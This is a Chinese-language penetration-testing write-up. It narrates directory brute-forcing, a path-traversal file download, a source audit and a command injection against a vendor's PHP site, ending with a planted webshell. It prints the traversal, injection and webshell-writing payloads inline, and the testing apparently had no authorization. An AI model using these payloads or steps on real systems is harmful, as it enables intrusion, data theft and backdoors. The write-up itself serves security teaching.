查看原文
其他

实战|记一次从目录爆破到命令注入的过程

爱吃火锅的提莫 乌雲安全 2023-02-08

作者:爱吃火锅的提莫, 转载自FreeBuf.COM

起因

最近看到一个漏洞,心血来潮突然想复现试一试,于是开始了fofa搜索资产之旅。意外发现资产归属的厂商的另外一个资产,看起来很好欺负,于是开始测试一番。

目录爆破

测试第一步,首先是信息搜集,这里简单扫了一下开放端口和服务,并没有发现什么有用的,这里不赘述。通过Wappalyzer插件,知晓了资产基本信息,嗯,是php站。

接下来根据资产和厂商的信息构建了一份字典,开始了经典的暴力破解,当然,结果也很经典,无果。于是又开始了经典的扫目录环节,这里选用的 dirsearch,非常好用。扫描不久便有了惊喜,存在几处可访问的路径。

这里发现了可疑路径/downloader.php,拼接访问一下看看,发现还需要参数才能正常访问。

任意文件下载

遇到这种情况,当然是模糊测试啦。这个页面盲猜需要参数读取文件,当然,手熟的师傅一眼就看出来了。这里还是正常操作,fuzz参数一下。打开burpsuit,拦包,发送到测试器,打开参数测试字典,因为之前信息收集得知主机系统可能是ubuntu,所以拼接一个../../../../../../../../etc/passwd,跑起来。

仅仅不到10秒钟,便有了结果,排除一个误报,一个任意文件下载漏洞便入手了。

代码审计

当然,到这里也并不满足,因为不知道内部的路径信息,只能先来个经典的我下我自己,于是便把downloader.php页面下载下来了。

既然有了这个页面的源代码,于是就审计一番,看看有什么其它可利用的信息,源代码内部可能存在其它物理路径,凭证信息等等,本质上就是再次信息收集。这里用vscode打开瞅一瞅,一眼便看到文件读取的触发点,写的真是简单又实在,追踪了一下参数,确实毫无过滤,怪不得如此顺利。

命令注入

这时上下略看一眼,发现了页面中包含多个system函数进行数据处理,于是全局搜索了一下system(,定位一下位置,但是大多数system函数传入的参数都使用了escapeshellcmd函数进行了过滤,此时先审计未过滤的system函数。

对第一处system函数传入的参数进行追踪,发现传入的参数,都来自内部配置文件且参数经过escapeshellcmd函数过滤,外部无法操控,遂放弃。

第二处system函数看了一眼直接放弃。

第三处system函数在对file的后缀进行选择判断的分支处,可以看出如果file的后缀为.zip,则在此处执行,$cmd参数的有一个明显的拼接且无任何过滤,默认条件下会直接进入第二处if判断的else部分执行,由此看出,如果$site参数如果能控制即可完成命令注入,传入的参数也只需要用;分隔堆叠绕过即可。

这时直接在url中如此拼接参数?file=.zip&site=;cat /etc/passwd;,尝试访问,成功!

哥斯拉上线

此时就比较简单了,直接命令执行echo <?eval($_POST["pass"]);?>test.php写入webshell,哥斯拉链接测试,成功。

结语

其实上文看起来一切都很顺利,但在整个过程中也进行了很多无用操作,这些都是无法避免的,渗透过程往往都是磕磕绊绊的。渗透的过程就是通过信息收集去发现漏洞,通过漏洞再获取更多信息从而进入更深度的渗透过程从而达到目的。这样一次从目录爆破到命令的注入的过程整体上来说是简单清晰的,希望能给予各位师傅一点思路和经验。

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存